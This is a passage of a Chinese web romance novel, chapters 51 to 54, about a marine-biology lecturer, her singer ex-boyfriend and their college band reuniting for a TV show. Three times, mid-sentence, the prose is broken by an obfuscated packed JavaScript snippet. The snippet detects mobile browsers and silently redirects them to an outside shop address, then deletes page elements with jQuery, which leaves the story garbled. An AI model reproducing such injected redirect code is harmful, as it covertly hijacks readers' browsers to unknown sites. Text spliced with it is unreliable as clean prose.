【江大本科,ucsd博士,两篇nature*一作,年仅28岁就入职母校。又牛x又漂亮,我当初怎么没碰到过这种神仙老师QAQ】 【抵制动物表演!@江临市海洋馆你们看到了吗??】 在这个节骨眼上,温言趁热上传了连夜剪出来的第二期视频,短短一小时就登上了首页推荐。 乔之的微信连续收到几条来自不同媒体的好友申请。 【温言:学妹,有媒体想要采访你。】 【Jo:我也收到了好几条好友申请,但还没想好怎么应对[捂脸]】 温言倒是没为了热度就劝她出来露面,反而贴心地给她分析了利弊:【接受采访肯定有利于宣传,但是可能也会对你的生活造成一定影响。你自己再考虑考虑?】 乔之谢过她的提醒,但心里还没做好决定。 她个人生活倒是其次,她更担心眼下在各项工作尚未启动的阶段,媒体过多的关注会对海豚放生带来负面影响。 犹豫了片刻,她首先关闭了好友申请的通道。 这时,出国多年的颜叙也在乐队小群里发了一条重磅消息。 【ChrisYan:朋友们,我要回国了。】 51.第五十一章 颜叙的这句话本该如巨石入水掀起千层浪,但群里的反应比乔之想象中要平静许多。 【姚朔S:你小子总算定好时间了。】 【H:欢迎回来。】 他们看上去早就得知此事,只差最后一句肯定。 颜叙转学出国已有多年,期间很少回国,乔之更是自机场一别后再也没见过他。他当年是乐队四人中最放浪形骸的一个,不知道时隔多年会变成什么样子。 乔之跟着在群里发了个“欢迎回来”的表情包。 【ChrisYan:下周二下午三点到江临,有好心人来接我吗?】 【H:保证全员都到。】 【ChrisYan:学姐也?】 颜叙从来都是叫乔之“乔乔姐”,他口中这个“学姐”只能是夏安语。但他这个问题在群里停滞了许久都没有回应,何舟泽好心地解围:【小夏也来的。】 几乎是同一时间,在群里消失已久的夏安语弹了一条消息。她的语句很短,叫人看不出情绪。 【今天不搬砖:来。】 乔之想起上次夏安语在她家时酒醉后极短暂的失态,心里有些不是滋味。不知道她是否将自己要结婚的消息告诉其他人,尤其是那位远在国外的昔日同伴。 第二天傍晚,乔之结束了一天的工作后从海洋楼走出来。 楼下了划了几个临时停车位,一辆陌生的灰色轿跑在她路过时摇下了车窗,何舟泽从中探出头来。 他脸上的墨镜半褪,露出了那双时刻含笑的眼。 他招呼道:“好巧,又见面了。” 乔之微微蹙眉,想不到他此刻在海洋楼下的理由。 何舟泽似是看出了她心中疑问,右手捞起一本册子,解释道:“程青筠把实验手册落在我车上了,我给她送过来。” 像是怕乔之不信,他又多补了一句:“她总是丢三落四,我也刚好顺路。” 江临大学的实验手册是统一制式,乔之一眼就认出来了,不疑有他。 她走近了对他说道:“你要是忙的话,我可以帮忙转交。” 这话不知有什么不对,何舟泽听后竟笑出了声。 他说:“乔乔,你就这么想赶我走吗?” 程青筠这些天都会来实验室熟悉操作,她顺手转交也很方便。乔之本是好意,没打算针对他,所以她连忙解释道:“我不是这个意思。” 何舟泽笑得更张扬了,眼里玩笑的意味毫不遮掩,乔之这才意识到他是在故意逗她。 “我知道。”说完,他朝乔之身后挥了挥手,道,“没事,她已经到了。” 话音刚落,程青筠就小跑了过来,她双手接过实验册子,感动道:“表哥你真是救我一命,明天早上要是交不上,我得被扣好多分。” 她刚刚就看见了乔之也站在这儿,于是说完后又转过去对她热情道:“乔老师怎么也在这?” 她见乔之的耳根微微泛红,心道自己怕不是出现得不是时候。 乔之面上倒是镇定,她回道:“我也是正好路过。你们聊,我准备去吃饭了。” 她抬脚就想逃。 何舟泽伸手想抓住她,却又硬生生地克制住了。 他不动声色地收回手,嘴里道:“我也没吃饭,要一起吗?” 程青筠惯来会看眼色,当即道:“我马上有个小组谈论,先走了。乔老师再见!” 然后一溜烟儿地就跑得无影无踪,留下乔之一个人站在原地。 她抬眼,见何舟泽还是那副言笑晏晏的样子,像一只等待顺毛的金毛。 她心底不禁一软,嘴上应道:“那好吧。” 不过,乔之没想到何舟泽点名想吃江大食堂二楼的咖喱饭。 他们以前在一起的时候,最常去的餐厅就是二楼食堂。 无论是掺着她不喜欢的胡萝卜的鱼香肉丝盖饭,还是他们百吃不厌的咸蛋黄炒年糕,抑或是这一盘让何舟泽心心念念很多年的咖喱饭,都是二楼餐厅的招牌。 他们没在一起前,她常常能在二楼碰见何舟泽。起初,她以为他和她一样总是一个人吃饭,而最适合在二楼吃单人份的套餐。后来她才知道,永远在人群中心的何舟泽根本不缺一起吃饭的朋友,他出没二楼食堂纯粹就是为了假装偶遇她。 他好像向来如此,费尽心思地靠近她,只为了多说一句话,多得到她的一个眼神。 他们之中,他是更努力的那个,所以陌路人才能变成有情人,他们才能一起度过那些珍贵的时光。 乔之这段时间常常心生悔意,那天她说他是步步为营、处心积虑,把他的所有真心都曲解成了阴谋,就像……她也同样误会了乔希那么多年。 她坐在副驾驶位上,闻到了绿茶味的车载香氛。 熟悉的春明茶香淡淡地环绕在乔之周身,她垂眸没有看何舟泽,只道:“你吃了四年还没腻吗?” 何舟泽侧头看她,似是开玩笑,神情却又很认真:“我可是很念旧的人。” 最后两人还是没有回到当初最爱的那张窗边的二楼座位——何舟泽到底是公众人物,若是出现在人流量这么大的校园食堂,绝对会再上一次热搜。 乔之上楼打包了晚餐带回车里,何舟泽开车转悠到了人烟稀少的僻静处。 他打开餐盒,闻见熟悉的咖喱香,转头看见乔之正捧着一盒咸蛋黄炒年糕。 他笑道:“乔老师不也很念旧吗?” 乔之见他盯着自己手中的晚餐,不知怎的递了过去:“你是不是没吃过改版的咸蛋黄炒年糕?” 说完她自己都一愣,这话听上去好像是在邀请何舟泽共享晚餐。 她的动作停顿了一瞬,正准备收回餐盒,却见何舟泽将手中的筷子转了个头,径自夹走几片嫩黄色的年糕放入口中,而后笑说:“果然没有朱师傅做得好吃。” 何舟泽的神情自然,乔之便也不再纠结这些小细节,应和道:“的确是差了一点。” “乔乔,我们下次再去朱师傅那儿吃饭吧!叫上姚朔、 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她问:“你们下周打算重聚吗?” “嗯。而且还不止是吃个饭——”何舟泽故意停顿了一下,见乔之投来疑问的目光才继续道,“《旷野之声》最后一期要请帮唱嘉宾,我想让‘同味素’乐队再合体登台一次,所以我们下周会全程在一起录节目和写歌。” 时隔多年再次听到这个熟悉的名字,乔之不免也有些晃神。 乐队上次全员到齐的演出,已经是七年前。 何舟泽侧了侧身,诚挚地邀请道:“演出那天,你有空来现场观看吗?” 上一次她答应要亲临现场是从凤鸣岛回来后不久,但她最后爽约了,甚至彻底撕碎了两人之间艰难维持的礼貌客气。虽然两人那天闹得头破血流,但似乎让如今的关系更坦诚了一点——至少她不用猜他的心思,他也明白了她的顾虑。 这次乔之决定直面过去:“好啊。你们难得重聚,我肯定到场。” 吃完饭,何舟泽提议下车走一走。 乔之看着他的脸,迟疑道:“……不怕被人认出来吗?” 何舟泽笑着戴上一顶帽子,指了指早已暗下来的天空,说道:“天黑了,而且这边没几个人会来。” 他说得信誓旦旦。 乔之忽然想起来他们以前也常常来这边散步。 这边的主要建筑是校史馆,每天五点就会准时关门。这儿远离教学区和宿舍,入夜后往来的人寥寥无几,就连路灯都比其他地方要昏暗许多。所以无论是牵手、拥抱还是接吻,此处的晚风都不会泄露他们的秘密。 两人行走在黑夜里,四下静谧得连彼此的呼吸声都能听清。 沉默地走了一小段路,何舟泽才出声道:“没想到还有一天能和你在这儿散步。” 他的脸上流露出了一丝怀念的神情。 乔之没说话,但她想,她大概也是有些怀念从前的。 52.第五十二章 周二这天,江临市的天气罕见地回温。十一月底竟然还能升上二十五六度,扰得市民又从衣柜里翻出薄外套。 下午有人在机场目睹了一场久别重逢,主角是四个年轻男女,他们身后还有摄影师在跟拍。 “又在搞什么直播吗?”路人嘟囔了一句。 最近平台上很流行这一套剧本,经常有网红跑到机场和高铁站拍摄,这些人为了博眼球不顾公共秩序,引起了大批群众的不满。 那四个人外貌都很出挑,其中有个穿咖啡色外套的男人甚至有点眼熟。 “靠!那不会是何舟泽吧!”等路人反应过来,刚刚那个位置已经围上了不少人。 他明明在飞机上还听了何舟泽的歌! 路人后悔不已,这会儿他只能透过交叠的人群隐约看见一张立体的侧脸,再没有机会上前一探究竟。 这正是《旷野之声》的收官录制,本期的主题是“初心”。 何舟泽的音乐起点是大学期间组建的“同味素”乐队。 正巧赶上颜叙回国,于是他决定将原来几位成员重新凑在一起,大家一同寻找多年前的这个初心。 一个戴着深灰色渔夫帽的男人出现在接机口,姚朔举起手喊了一句:“颜叙!” 摄影机已经打开了,毕竟是在录节目,他忍住没喊他“叙狗”,算是给他个面子。否则按照两人以往的模式,他必定是要上前狠狠勾住他的脖子,质问他怎么这么久没回来。 他抬头,看见在不远处等他的一行人,绽出一个笑:“久等了。” 他与何舟泽、姚朔分别对了个拳。 然后他才走到最左边的夏安语面前,语气正经道:“夏安语,好久不见。” 外人听上去没什么特别的问候,只是当事人才知道其中深意。 他们俩真的已有七年未见,从前的他们不是这样郑重问好的关系。 何舟泽揽过颜叙的肩,姚朔则自然地接过他手中的推车。 “我们四个多少年没聚过了?” “要不要先去吃点东西?飞了十几个小时应该累了吧?” “他这小子哪里会亏待自己,保准是头等舱一路躺回来的。” 几人的关系一如往常,颜叙勾起嘴角道:“我不累,可以马上进入工作模式。我最近刚好有几个新想法,想和你们讨论讨论。这次我们一定要好好写一首歌。” 听见这话,在场的人都忍不住地多看了他几眼。 他们乐队绝大多数歌都是何舟泽和颜叙写的,但是比起何舟泽数十年如一日的勤奋创作,颜叙更随性。他有些恃才傲物,对什么看上去都无所谓,所以有时显得散漫。 他们头一次见到颜叙这么认真地定下目标。 姚朔欣慰道:“你长大了,我很感动。”语气像极了老父亲。 颜叙笑着捶了他一拳。 乔之收到何舟泽发来的合照时,她正与海洋馆沟通完放流海豚的下一步工作。 划定适应训练区不是一件小事,尤其这件事和好几方都扯上了关系,需要跑的流程一箩筐。这一周她在各方之间来回奔波,有时候忙得连喝口水的机会都没有。 这天,海洋馆和学院终于敲定了初步的合作关系,计划下个月派专家去凤鸣岛进行实地考察。 【H:同味素全员到齐![图片]】 何舟泽只发了这么一句,但乔之隔着屏幕也能感受他的开心。 不过她还在一个个按序关闭电脑上的文档,只抽空顺手发了个表情包过去。 何舟泽紧接着又发来一个邀约:【晚上有空一起吃饭吗?我们几个都在。】 乔之想了想,紧要的事情都已经解决了,她今晚大概率不会被临时找去开会,于是敲了敲键盘回复:【好。】 - 如上次见面说好的,晚饭约在了朱师傅的幸福小厨。 何舟泽几个早就到了,乔之临时处理了一份文件,抵达包厢时已迟到了十多分钟。 还是在走廊深处的那间——这似乎是朱师傅为何舟泽特意留的房间。 乔之敲了敲门,没多久就有人从里面拉开了门。 “乔乔姐。”来人的语气里带着恰到好处的惊喜。 没想到给她开门的是颜叙。 他的气质比上大学时收敛了不少。 以前他打扮得招摇,一张冷脸写满了“生人勿近”。眼下他虽然还是一身潮牌,但款式和颜色都没那么出跳。耳上的装饰一改往日,只戴了两枚低调的银色耳钉,在灯光下微微闪光,但不扎眼——倒是符合他现在的形象。 乔之微笑道:“好久不见。” 走进包厢,姚朔正在拿着起子开一瓶红酒。他闻声,抽空伸出一只手,冲门口的方向招呼道:“这不是乔老师嘛!” 夏安语正等着他给她倒饮料,一边催促着他,一边向乔之扬起笑容。 另一边的何舟泽已经起身走过来,他接过乔之手中的托特包,自然地关心道:“怎么这么重?” 乔之跟着他在座椅上坐下,回道:“带了电脑。晚上可能要看点资料。” 姚朔贴心地转过来一杯饮料:“那你今晚还是喝果汁吧。” 乔之道了声谢。 “我前几天看到你和温言录的视频了,最近是在忙这个吧?”夏安语问。 乔之点点头道:“海洋馆最近在和我们学院合作,我帮点小忙。” 夏安语和温言还保持着联系,听说了一点内情,于是笑说:“别谦虚了,温言说你这段时间忙得不可开交。” 何舟泽从身后的柜子上抽了本菜单递给乔之:“我们刚刚已经点了一些菜了,你看看有什么想加的。” 菜单上夹着一条长长的订单。 乔之瞥了两眼,又把菜单推了回去:“先这样吧。” 今晚的主角是颜叙,只不过话题因为乔之的到来被中途打断。 这会儿所有人都坐下了,于是姚朔又续上了刚刚没说完的话:“你这次回来还走吗?” 颜叙懒懒地靠在座椅上,没说出个所以然:“不知道。工作室和黑石签了长期合作,但指不定哪天又要来个人把我换回去。” 他的语气夹带着一点几不可闻的骄傲,说话时慵懒的神态倒是和过去没什么两样。 姚朔不能更了解他了,于是撇撇嘴嫌弃道:“得,又给你骄傲上了。你们工作室离了你是干不下去了是吧?” 颜叙挑挑眉,像是在肯定他的话,不过嘴里倒是说着:“我可没这么说。我们工作室到处都有合作,我这几年就待了好多地方。” 他所在的M.E.音乐工作室总部在纽约,但在北美其他城市也有分部,另外还有很多跨国合作。 虽然颜叙这个人向来容易尾巴翘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707169|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上天,但他这几年的确在那边闯出了一点名堂。顶着一张华人面孔能在欧美音乐圈混得风生水起,他在音乐上确实很有才华。 “说来我之前在洛杉矶干了两年,和乔乔姐其实还挺近的。”他又看向乔之,“可惜没机会见一面。” 乔之读博的学校也在南加州,和洛杉矶不过两小时车距。 她当初自然是把颜叙也删了,所以眼下难免稍有尴尬:“……是吗?” 颜叙话音一转,善意地解围:“不过我们俩都忙,见不到也正常。” 一直没说话的夏安语终于开了口:“老何,你那首《明日之地》是不是在洛杉矶录的?我记得也是M.E.工作室。” 她这句话里明明有两个当事人,但目光始终停在何舟泽那边。 何舟泽点点头:“对。当时我和颜叙还见了一面。” “可惜我那会儿没资格碰大制作,不然我俩早就能合作了。”颜叙自然地加入话题。 何舟泽笑笑,故意调侃:“马上就有机会了,到时请颜老师不吝赐教。” 一旁的姚朔不满开口:“你俩别整得好像是双人合作,我和小夏还在呢!” 一番话让所有人都笑了。 乔之恍惚间感觉回到了多年前,那时候他们也是这样说说笑笑,就好像青春永远不会散场。 一顿饭吃得轻松愉快,散场时姚朔和夏安语都醉得不省人事。没喝酒的何舟泽去开车,乔之则和颜叙一人扶着一个。 颜叙明明也喝了不少,但他的眼睛却还很清亮。 乔之一抬头,和他的眼神不期而遇。不过她知道,他看的是夏安语。 颜叙的眸子闪了闪,视线又移去了别处。半晌后他开口道:“乔乔姐,你知道吗?那年他去找过你。” “……什么?”乔之的语气一滞。 颜叙见她毫不知情的样子,笑了一声:“老何在洛杉矶录歌那次,有天开车去了圣地亚哥。” 乔之呆住了,直到挂在她身上的夏安语差点往下滑,她才缓过神来把她搀扶住。 何舟泽竟然来过圣地亚哥吗? 可是他们在今年之前都没见过面。 乔之的脑子有些乱,好半天才理清思路。 一个快要被她遗忘的片段忽然闪现在脑海里,她错愕地怔在原地。 三年前,她博四开学后不久的某天,她和实验室的同门约了晚餐。 临走前,她还要在实验室里最后检查一遍设备,所以让师妹先去楼下开车。 她快走出大楼时,远远看见师妹在和一个男生讲话,身形让她觉得眼熟,但没看清脸。等她走到了师妹边上,刚才那个人已经离开了。 乔之以为只是问路的路人,却没想到师妹说:“Jo,刚刚有个中国男生在这儿站了好久,好像是在等你。大概这么高个子,长得有点像Kylie喜欢的那个韩国男爱豆,你认识吗?” 师妹伸手在乔之大致笔划了一下。 “他刚刚还在的,现在不知道去哪了。不过也可能是在找别的Jo。” 这个推断合情合理,因为乔之想了一圈,都没找到符合的人选。 现在想来,师妹当时看到的应该就是何舟泽。 他那时大概已经看见她了,却最终临阵脱逃。 从洛杉矶到圣地亚哥的两小时车程里,风景很美,但也很孤独。 53.第五十三章 何舟泽今天开着他常用的那辆黑色SUV,空间大,载四个人绰绰有余。 乔之看见他后,忍住没开口说话,先扶着夏安语上了车。颜叙主动要求坐后排照看两个醉鬼,她只好又坐到了副驾驶。 “小夏今晚可能要麻烦你照顾一下了。”何舟泽专注开着车,没注意到乔之有一肚子的话想问他。 夏安语在江临没有住所,他们几个大男人自然也不方便照料,思来想去只有乔之合适。 好在夏安语在彻底醉倒前就已经给自己想好对策了——上回在乔之家也醉过一次,她已经一来生二来熟。 乔之“嗯”了声,表示没意见。 姚朔家最近,何舟泽先送他回去。 等到了地方,他和颜叙一人一边架着他上了楼。 开门的是姚母,瞧见姚朔醉醺醺的样子,嫌弃道:“这孩子,怎么喝成这样。” 身后的姚父上前来搭把手,笑呵呵道:“年轻人聚餐嘛!再说他们都多少年没凑在一起过了。” 说完这话,他抬起头来打量着站在门口的两个小伙子,语气肯定道:“这是小颜吧?” 颜叙笑着和他握手:“姚叔的记忆力真不错。好久不见,您最近还好吗?” 姚父见自己认对了人,乐得眯起眼:“好好好。这臭小子上次还非说我分不清你和小夏那姑娘呢。” 说完他又重重拍了拍姚朔的肩。 “哎哎哎——”姚母打了一下他的手,“别把儿子拍坏了,他还醉着呢。” 姚父一边嘟囔着“臭小子哪有这么金贵”,一边又向两人道谢,邀请他们改日到家里玩。 房门关上,热热闹闹的一家人在挡在了另一头。老旧的楼道里点着一盏鹅黄色的灯,一切又恢复了宁静。 颜叙和何舟泽并肩往下走,没多会儿他开口道:“老姚家还是这么热闹。” 何舟泽也笑了声,赞同道:“是啊,三个人好像有三十个人的能量。” 颜叙在这一方面一直很羡慕姚朔。他和原生家庭的关系并不好,一年到头和家里人也说不上两句话。 如果说姚家是撒哈拉的烈日,他们家大概比南极还要冰冷。 快走到居民楼下,何舟泽在心里规划了一番接下来的路线,开口问道:“待会儿我先送你去酒店,再送她们俩回去?” 颜叙入住的酒店离这儿不算太远。 颜叙轻哼了声表示没意见,随后又说了句:“我把你去过圣地亚哥的事情告诉乔乔姐了,她居然完全不知道。” 他戏谑道:“藏着不说,这不是你的风格啊。” 何舟泽的脚步顿住了,他想起了三年前的那个晚上。 那天他结束《明日之地》的录制后,趁最后还有大半天的休息时间,瞒着方鸣偷偷去租了辆车,不管不顾地就打开导航往南边开。 只要两个小时,或许他就能见到她。 他不知道乔之的动态,只知道她还在读海洋方向,于是便找到了她们系的大楼。 他在楼下傻傻地站了很久,直到一个金发碧眼的女孩注意到他,主动搭话:“Hi,你是迷路了吗?” 他抱着渺茫的希望解释说:“我在找一个人。你认识一个叫Jo的中国女生吗?” “哦哦!我认识一个Jo。”女孩惊呼道。 何舟泽刚想说些什么,余光却瞥见远处走来一个纤瘦的身影。 她还是黑色的长发,做实验时会扎成低马尾——他百分之百确定,那就是乔之。 可是不知为什么,他在看见她的那一刻就忽然丧失了所有勇气。 算算时间,乔之已经博四了,科研工作应该很繁重。他怕她看见他后会说:“你的到来让我很困扰。” 所以他在她看清之前,就远远地躲开了。 无论如何,他都不想再被她当作阻碍。 南加的天气可真好啊,临海城市连空气里都充满了海水和阳光作用后的气味——温暖纯粹,其中偶尔夹带着一点难以察觉的泪水般的咸涩。 何舟泽从回忆中回过神来,耳边是树叶被晚风拂过后发出的“沙沙声”。他临时停靠的车就在不远处,车灯没有关。 他避开明亮的光线,转头对颜叙道:“是吗?这只是一件不足挂齿的小事而已。” 他的语气很温和,甚至听不出什么波动。 等送完颜叙,再开车到乔之楼下时已是深夜。 乔之将夏安语安顿好,出房间时看见何舟泽正对着窗外发呆。 “何舟泽。”她唤了一声。 何舟泽转过头,见乔之欲言又止的模样,却没主动问,只是说:“你早点休息,查资料别太晚了。” 乔之想了很久,终于还是问出口:“你来圣地亚哥找过我对吗?” 她果然是想问这件事。 何舟泽心里的验证得到了猜想,但面上还是不显,故作轻松道:“颜叙什么都往外说。”嘴角还带着笑,丝毫没有秘密被戳破的窘迫。 乔之抿了抿唇:“其实那天,我远远地看见你了……只是不确定。” 她抬头正视他,问:“你为什么不来见我呢?” 为什么独自开了两小时的车,又什么也没做就离开了? 何舟泽终于敛起了笑,盯着乔之看了好一会儿,才开口道:“……我不想打扰你。” 他的眸子很深,乔之读不出他的真实情绪。 “我知道你一直在努力追求自己的事业,我担心会打扰到你。”他的语气凝了一瞬,而后垂下了眼眸,“乔乔,我不想成为你的阻碍。” 乔之愣住了。 分手时她说的那番话里其实没有这个意思,她只是觉得分开后对他的发展更好,而她也不想被困在一段关系里。所以那时她任由何舟泽误会,以为这样彼此就能心无旁骛地去做更重要的事。 她的声音有些抖:“……那你现在为什么又要来找我呢?” “因为……几个月前我得知你入职江大,已经顺利迈进下一阶段了。而我自以为也在音乐上做出了一点成绩……”何舟泽扯出一个苦笑,“可是我直到那天才知道,原来你真正在乎的,不只是这个。” 这段时间他反复地琢磨乔之说的那些话,又听闻了她母亲的经历,才知道乔之真正害怕的是掉入某种关系,人生彻底被某个人捆绑。她心中的独立,是独自站立,是只有一个人的前行。 可是何舟泽不知道要怎样才能让她明白,他对她的爱不是想将她紧紧拴住,而是想在她背后做永远的港湾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720050|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “无论你走多远、飞多高,我都为你高兴,因为我想让全世界都能看见你的好。我可以在身后,做你最忠实的影子。” 他的爱永远坦荡,他希望她的人生尽是坦途。 乔之怔怔地看着他,心中有什么东西在慢慢醒来。 她的脑子已是一片空白,反应过来时,她已经轻轻抱住了他。 - 《旷野之声》终舞台录制开放了大量观众名额,乔之抵达演播厅前,就看见了一路的应援牌,其中半数都何舟泽的。 排队验票的过程中,她身后恰好排了两个他的粉丝,她们在小声地交谈着。 “你知道何哥这次的帮唱嘉宾是谁吗?” “官方海报里画了三个人,两男一女,像是个组合。” “两男一女?牛仔蓝乐队?”说话的女生赶紧拿出手机搜自己猜测的乐队,又奇怪道,“也不对啊,他们今天有音乐节活动。” “诶,你说有没有可能是出道前的乐队成员啊……” 乔之听到这话,不由得眼神跳了跳。粉丝还真是敏锐得可怕。 然而对方很快又被否定了。 “不可能吧?他们不都是素人嘛,之前有人扒过,发现人家都有正经工作。” “也是……” 交谈声逐渐小了下去,正巧轮到了乔之检票。 何舟泽给的位置很好,前排正中央。那个区域大多是内部票,所以门口的工作人员偷偷地多看了她几眼,才给她指了座位方向。 这期节目的舞美做得精致,舞台效果恰到好处地变幻,伴着嘉宾的演出引来台下观众的阵阵掌声。 现场看果然比电视上要有气氛,纵是乔之这样波澜不惊的人,也为精彩的演出欢呼了好几次。 何舟泽的演出排在了最后一个,主持人报幕的时候,乔之周边几位粉丝的嗓子都快喊哑了。 舞台簌地暗下来,现场重新坠入寂静。乔之感觉自己的心跳在飞快加速——这不仅是在回忆他们的青春,也同样是她的。 尽管她不是乐队的一员,但她和他们共同成长,一起走过几年后又彼此分别。 一声爆裂的鼓声击碎黑暗,吉他声随后撕开安静的口子,舞台乍然亮起,灯光下出现四个纵情音乐的人。 台下当即响起一阵阵呼号,何舟泽在热情的尖叫声中唱响了第一个音符。 “…… 起点是无畏的狂妄, 击碎身前无边的高墙。 昨天刻在血液和灵魂里滚烫, 明天依旧奔向远方, 拥抱扑面而来的巨浪。 …… ” 舞台中央紧握麦克风的何舟泽忘我演唱,抱着贝斯的姚朔在关键时刻送上强劲音浪,夏安语的手指在键盘上尽情翻飞,离别多年的颜叙在架子鼓前苏醒了他的灵魂。 这首歌的每个字都是他们对曾经的回首和想念,每一个音符都活了过来,它们全都在舞台上用力地、鲜活地存在着。 最后一个音节落下,现场陷入刹那的沉寂后爆发出了远超刚才的欢呼声。 乔之落泪了,在热血沸腾的演出现场。 她也很想念——和他、和他们在一起的那些时光。 54.第五十四章 等掌声稍稍平静一点,几人在舞台上站成一排。 何舟泽拿起话筒介绍道:“大家好,我们是‘同味素’乐队。我是18级生物医药工程的何舟泽。” “我是18级法学的姚朔。” “18级建筑系,我是夏安语。” “19级控院,颜叙。” ——一如往日的介绍词,他们曾说了无数遍,却又沉默了很多年。 乔之和何舟泽的眼神有一瞬的交接。 他总是能轻而易举地找到藏匿在人海里的她,就像过去每次演出一样。 她下意识地躲开了。 四个人的自我介绍让不了解何舟泽的观众不明所以,乔之听见周围的人议论纷纷。 “谢谢‘同味素’乐队为我们带来的最后演出!”主持人适时地走上台,替观众开口问,“这个介绍方式很特别,可以具体说一说吗?” 何舟泽解释道:“这几位是我在大学时期的乐队好友。乐队是我的音乐起点,所以今天我们重新聚在了一起,写下了这首叫《明天依旧》的歌。” “明天的热爱依旧和昨日一样炽烈。我在台下听得也是热血澎湃!”主持人一席话接得顺畅,“我听说这几位现在已经投身其他行业了,请各位再简单介绍一下自己吧。” 主持人刚说完这句话,专业评审中就有一位开了口:“你这话说错了,这有一位不仅在音乐圈,而且还和许多国际巨星合作过。” 他这话拉足了悬念,等其他人给出想要的反应后,他才心满意足地揭晓谜底:“换个名字,可能就有人知道了。颜叙,Chris Yan。” 被点到名字的颜叙倒是一副处变不惊的模样,侧过身,淡定地开口:“郑老师,好久不见。” 然后他又面向观众道:“大家好,我是颜叙,现在在Music Explosion 做音乐。” 刚刚说话的那位评委代为介绍了一下这家音乐工作室的辉煌履历,随口说了几个耳熟能详的欧美歌手的名字,惊得台下又是一阵议论。 紧接着夏安语和姚朔也介绍了自己。前者简单地说了下职业,后者则趁机给自己即将开张的面包店打了个广告。 他们这首歌曲调抓耳、歌词热血,制作水准更是一流,因此得到了现场的一致好评。 《旷野之声》最后一次录制在全体嘉宾的合唱舞台中落下帷幕。 乔之跟着退场的观众往出口走,她的位置在最前排,所以退场最晚。 等人都快走空时,她收到了何舟泽发来的消息。 【H:等会儿我们有个庆功宴,要不要一起来?】 【H:只有我们几个,没有外人。】 【Jo:……好。】 【H:你在门口等一下,我让小王来接你。】 何舟泽的助理小王见了乔之很多次,一眼就把她认了出来。 他学着方鸣称呼道:“乔老师,你跟我来。” 江临电视台很大,乔之跟着小王七拐八绕,终于走到了一处走廊的尽头,门上写着“休息室”三个字,想来是何舟泽专属休息间。 这个位置倒是很隐蔽,往来的人并不多。 何舟泽拉开门,见到期待中的人,笑说:“你来了。” 乔之其实和他有将近一周的时间没有见面,他们都在忙各自的事情,只是偶尔在微信上聊几句。 那天晚上,何舟泽说的话无疑走进了她的心里。他精准地揪住了她最忧虑的地方,然后又把自己的真心剖开来给她看,试图让她相信他们不会成为彼此的阻碍。 他如此真诚,让她舍不得再剥夺他爱的权利。 乔之抬头看他。何舟泽的眼睛漆黑透亮,面对她时总是闪动着笑意。 她走进休息室,没有见到其他人,问道:“他们呢?” “姚朔还在卸妆……”何舟泽说这话的时候,手机屏幕亮了起来,正是姚朔的消息,对方已经卸完妆在等他们了。他扫了一眼,又对门口的小王道,“小王,麻烦你去化妆间带姚朔去车上等我们,我马上就来。等会儿你再来收拾下就可以下班了,今天辛苦你了。” 小王知道他们几个待会儿要去聚餐,所以应了声好便离开了。 乔之问:“小夏和颜叙呢?” 何舟泽随手捡了几样重要物品,往门外看了看道:“小夏刚刚去打电话了,颜叙估计和她在一起。我们直接去找他们吧。” 说完,他像是想起什么似的,给乔之递来一个口罩:“委屈你戴一下口罩,以防万一。” 江临电视台的安保工作一直做得不错,他们这个位置的私密性也很高,但还是会有粉丝偷溜进来的风险,所以何舟泽又给乔之戴上了一顶鸭舌帽。 他的手指不经意间擦过乔之的耳侧,让她感受到了一阵酥痒。她赶紧抬手自己按住了帽檐,一边假装调整一边说道:“戴好了,我们走吧。” 这附近能打电话的只有一个紧急出口的楼梯间,乔之跟着何舟泽往那边走去,却隐约听到了一男一女在对话。 “夏安语,我真是想不明白,他究竟有什么好?别说什么用他的手护你周全。”是颜叙的声音。他的语气里都是不甘与质疑。 气氛凝滞了一秒,夏安语冷淡镇定的声音响起:“颜叙,这么多年来,陪在我身边的人是他,不是你。” 这已经是乔之第二次撞见他们吵架了。 何舟泽下意识地拉住她,两人不约而同地停下了脚步。他们对视了一眼,乔之看见何舟泽脸上露出了苦笑。 何舟泽压低声音道:“我们先回去吧。” 乔之点点头。 两人又回到了休息室。 “他们这些年……也总是吵架吗?”乔之忍不住开口问了一句。 她几个月前才和他们重建了联系,并不清楚过去几年两人的相处模式。 何舟泽摇摇头:“至少在群里相安无事。” 他沉默了片刻,叹气道:“他们俩都知道怎么能伤对方最深,所以总是要撞得头破血流,却谁都不肯多往前一步。” 明明深爱彼此,却都藏着心事,把真心伪装成刺伤对方的利剑。 乔之也跟着叹了口气。 很快,夏安语和颜叙前后脚回到了休息室,两人都紧绷着脸,但没再多说什么。 一行人出发去吃饭。 好在大家都是成年人了,这一晚的庆功宴至少在表面上一切安宁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724538|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 结束时,夏安语又喝醉了。 